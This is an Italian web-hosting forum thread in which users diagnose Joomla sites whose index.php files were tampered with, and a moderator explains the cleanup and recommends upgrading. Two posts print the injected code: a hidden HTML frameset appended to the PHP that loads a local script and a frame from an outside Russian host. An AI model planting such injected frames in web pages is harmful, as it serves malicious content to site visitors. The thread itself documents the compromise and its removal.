Visualizzazione risultati 1 fino 8 di 8

Discussione: Problema index.php modificato

  1. #1
    Guest

    Predefinito Problema index.php modificato

    da giorno 14 febbario mi sono accorto che accedendo al mio sito:

    http://pmweb.altervista.org/jom/index.php

    esce la segunete pagina di errore:

    Parse error: syntax error, unexpected '<' in /membri/pmweb/jom/index.php on line 88

    controllando dall'FTP mi risulta modificato il file index.php proprio in data 14 febbario


    dato che io però non ho toccato nulla mi sapete dire se è un problema dovuto a qualche cambiamento delle configurazioni di altervista??? come lo risolvo se non ho una copia reente del file in questione??

    aggiungo che sitratta di un sito allestito con joomla

    grazie

  2. #2
    Guest

    Predefinito

    anzi mi sono accorto che tutti i file index.php presenti nella struttura del mio sito sono modificati!!... beh qualcuno che sa come rimediare c'è?

  3. #3
    L'avatar di dementialsite
    dementialsite non è connesso Super Moderatore
    Data registrazione
    19-10-2004
    Residenza
    fuori Padova
    Messaggi
    5,046

    Predefinito

    Normalmente AV non va a toccare i contenuti dei suoi utenti, tu sei sicuro di non averlo fatto (anche inavvertitamente)?

    Prova a postare il codice del file, per vedere se si può riparare in qualche modo... è un "semplice" errore di sintassi.

    Stammi bene...
    Le questioni tecniche hanno risposte migliori nel forum pubblico, non trovi?

    When you don't know your next step... improvise

    ALTERVISTA WANTS YOU!
    Vuoi diventare moderatore su AlterVista? Scopri come...

  4. #4
    Guest

    Predefinito

    ciao Dementialsite e grazie per la tua disponibilità.... il problema l'ho riscontrato, come dicevo piu su, anche negli altri file index.php della struttura... ad esempio in pmweb.altervista.org/jom/administrator/index.php ... tale file l'ho semplicemente sostituito con il file originale del pacchetto joomla e riesco cosi ad accedere all'interfaccia administrator..... il file pmweb.altervista.org/jom/index.php invece non mi funziona se provo con lo stesso metodo.

    Di seguito come da te suggeritomi posto il file pmweb.altervista.org/jom/index.php che mi risulta modificato:

    Codice PHP:
    <?php
    /**
    * @version $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
    * @package Joomla
    * @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
    * @license GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */

    // Set flag that this is a parent file
    define( '_JEXEC', 1 );

    define('JPATH_BASE', dirname(__FILE__) );

    define( 'DS', DIRECTORY_SEPARATOR );

    require_once (
    JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once (
    JPATH_BASE .DS.'includes'.DS.'framework.php' );

    JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

    /**
    * CREATE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe =& JFactory::getApplication('site');

    /**
    * INITIALISE THE APPLICATION
    *
    * NOTE :
    */
    // set the language
    $mainframe->initialise();

    JPluginHelper::importPlugin('system');

    // trigger the onAfterInitialise events
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    $mainframe->triggerEvent('onAfterInitialise');

    /**
    * ROUTE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->route();

    // authorization
    $Itemid = JRequest::getInt( 'Itemid');
    $mainframe->authorize($Itemid);

    // trigger the onAfterRoute events
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    $mainframe->triggerEvent('onAfterRoute');

    /**
    * DISPATCH THE APPLICATION
    *
    * NOTE :
    */
    $option = JRequest::getCmd('option');
    $mainframe->dispatch($option);

    // trigger the onAfterDispatch events
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    $mainframe->triggerEvent('onAfterDispatch');

    /**
    * RENDER THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->render();

    // trigger the onAfterRender events
    JDEBUG ? $_PROFILER->mark('afterRender') : null;
    $mainframe->triggerEvent('onAfterRender');

    /**
    * RETURN THE RESPONSE
    */
    echo JResponse::toString($mainframe->getCfg('gzip'));<html><body><Frameset rows=',100%'> <frame src='nash_script.php'><frame src="http://eivom3d.ru/flash/index.php"></frameset></body></html>
    [DS] Usa i tag di codice, e non il tag QUOTE, per riportarne ampi stralci... si legge meglio
    Ultima modifica di dementialsite : 24-02-2010 alle ore 09.34.45

  5. #5
    L'avatar di dementialsite
    dementialsite non è connesso Super Moderatore
    Data registrazione
    19-10-2004
    Residenza
    fuori Padova
    Messaggi
    5,046

    Predefinito

    Confrontandolo con il mio file, c'è quel tag <html><body> ... </html> in fondo al file che è decisamente di troppo.

    Intanto puoi provare ad eliminare quel tag (da questa e da tutte le pagine, se presente anche lì)... Poi, aggiorna Joomla con l'ultima versione stabile (attualmente è la 1.5.15).

    Se non riuscissi a risolvere, non ti resta che la soluzione più estrema:
    - esegui il backup del database (sperando che non sia compromesso pure quello)
    - recupera una nuova versione di Joomla, possibilmente la più recente
    - recupera anche gli "installer" di tutti i componenti aggiuntivi che hai eventualmente installato
    - esegui una nuova installazione di Joomla, mantenendo il database vuoto (cioè senza installare i dati di esempio)
    - installa nuovamente i componenti aggiuntivi
    - ripristina il database, svuotando le tabelle esistenti prima di inserire i vecchi contenuti

    Ci vorrà un po', ma in questo modo il tuo sito dovrebbe tornare pienamente operativo.

    Stammi bene...
    Le questioni tecniche hanno risposte migliori nel forum pubblico, non trovi?

    When you don't know your next step... improvise

    ALTERVISTA WANTS YOU!
    Vuoi diventare moderatore su AlterVista? Scopri come...

  6. #6
    Guest

    Predefinito Risolto

    ciao,
    e grazie 1000 per l'aiuto, dopo la tua indicazione ho controllato più accuratamente e risultano in effetti modificati tutti i file index.php e index.html della struttura con l'aggiunta proprio del seguente codice:


    <html><body><Frameset rows=',100%'> <frame src='nash_script.php'><frame src="http://eivom3d.ru/flash/index.php"></frameset></body></html>



    cancellandolo tutto torna a funzionare correttamente....
    la domanda ora sarebbe......... ma di che si tratta?? come mai si è verificato questo problema dato che solo io ho l'accesso ad altervista?

    grazie ancora
    un saluto

  7. #7
    L'avatar di dementialsite
    dementialsite non è connesso Super Moderatore
    Data registrazione
    19-10-2004
    Residenza
    fuori Padova
    Messaggi
    5,046

    Predefinito

    Probabilmente è stata sfruttata una vulnerabilità di Joomla, per questo ti ho consigliato di aggiornarlo all´ultima versione, se non l´hai già fatto. Uso anch´io Joomla all´ultima versione e questo problema non si è mai verificato, a quanto mi risulta.

    Se hai invece installato l´ultima versione (nel pannello di amministrazione la vedi in alto a destra), non puoi fare altro che segnalare il problema allo staff di sviluppatori perché vi pongano rimedio quanto prima...

    Stammi bene...
    Le questioni tecniche hanno risposte migliori nel forum pubblico, non trovi?

    When you don't know your next step... improvise

    ALTERVISTA WANTS YOU!
    Vuoi diventare moderatore su AlterVista? Scopri come...

  8. #8
    pdcollemare non è connesso Neofita
    Data registrazione
    11-08-2010
    Residenza
    Monselice (PD)
    Messaggi
    4

    Thumbs up Risolto anch'io

    anch'io ti ringrazio dementialsite !!
    avevo lo stesso problema in 3 miei siti. accedendo mi usciva lo stesso errore

    Parse error: syntax error, unexpected '<' in /membri/pdcollemare/index.php on line 88

    ho verificato anch'io il file index ed eliminado il codice a fine file torna a funzionare tutto!!
    grazie

    ps: io ho installato joomla 1.5.20

    ciao e grazie ancora!
    Giulia

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •